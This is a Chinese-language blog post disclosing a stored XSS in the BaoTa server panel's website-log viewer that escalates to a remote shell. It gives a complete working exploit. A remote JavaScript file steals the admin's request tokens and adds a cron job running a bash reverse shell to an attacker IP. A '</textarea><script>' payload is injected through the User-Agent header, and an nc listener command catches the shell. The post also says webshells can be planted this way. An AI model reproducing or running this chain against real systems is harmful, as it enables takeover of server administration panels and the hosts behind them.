宝塔网站日志XSS导致getshell

前言:这个漏洞是我在21年12月发现的,当时准备交给宝塔在补天的项目,结果宝塔不收xss,所以就没交,今天发现有人发出来了,那我也发到自己博客好了。。

漏洞完整攻击流程为:攻击者攻击网站->管理员查看日志->攻击者getshell

需要准备一台接收反弹shell的服务器,预装nc,这里使用的宝塔测试环境为阿里云服务器搭建,版本为7.7.0正式版

一. 首先准备好远程js文件,具体内容如下(js文件body内容根据自己nc服务器和监听的端口进行调整):

var x_http_token = document.getElementById('request_token_head').getAttribute("token");

var x_cookie_token = getCookie('request_token');

fetch("/crontab?action=AddCrontab",{method: "POST",headers: {'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8','x-http-token':x_http_token,'x-cookie-token':x_cookie_token},body:'name=test&type=minute-n&where1=1&hour=&minute=&week=&sType=toShell&sBody=bash+-i+%3E%26+%2Fdev%2Ftcp%2F70.34.204.98%2F8889+0%3E%261&sName=&backupTo=localhost&save=&sBody=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F70.34.204.98%2F8889%200%3E%261&urladdress=undefined&save_local=undefined&notice=undefined&notice_channel=undefined'});

将js文件保存在远程web服务器中,我这里保存在http://70.34.204.98/baota.js, 其中body信息为抓取设置计划任务请求包中的post数据部分,如下图数据包:

POC注解:首先获取发起请求时header中需要的两个用作身份认证的cookie,然后发起请求,此请求为添加每分钟执行一次的计划任务的请求包,经过测试,除了写计划任务外,还可以像web网站写入webshell,向宝塔管理面板写入webshell(flask框架),但是为验证危害,这里直接使用计划任务反弹shell。

二. 然后访问宝塔面板中部署的站点,这里添加一个新的站点:

站点可以正常访问

三. 然后请求此站点并抓包,在User-Agent处替换为我们的xsspayload,外部js链接为我们上面准备的远程js文件,这里整体payload为:

</textarea><script src='http://70.34.204.98/baota.js'></script>

Payload填充完毕发送数据包

四. 在我们的服务器上开启nc监听,命令为nc -lvvp 8889

五. 然后模拟管理员查看web站点网站日志,首先点击网站名

接着向下找到网站日志,点击网站日志

这里为展示漏洞原理,抓包查看加载我们外部js后发出的数据包

可以看到这里自动发送了设置计划任务的数据包,我们抓一下返回包查看

设置成功,查看计划任务列表,确实添加进去了计划任务

六. 等待一分钟,nc监听器就接收到了shell

可以正常执行命令

七. 至此该日志xss导致getshell复现完毕。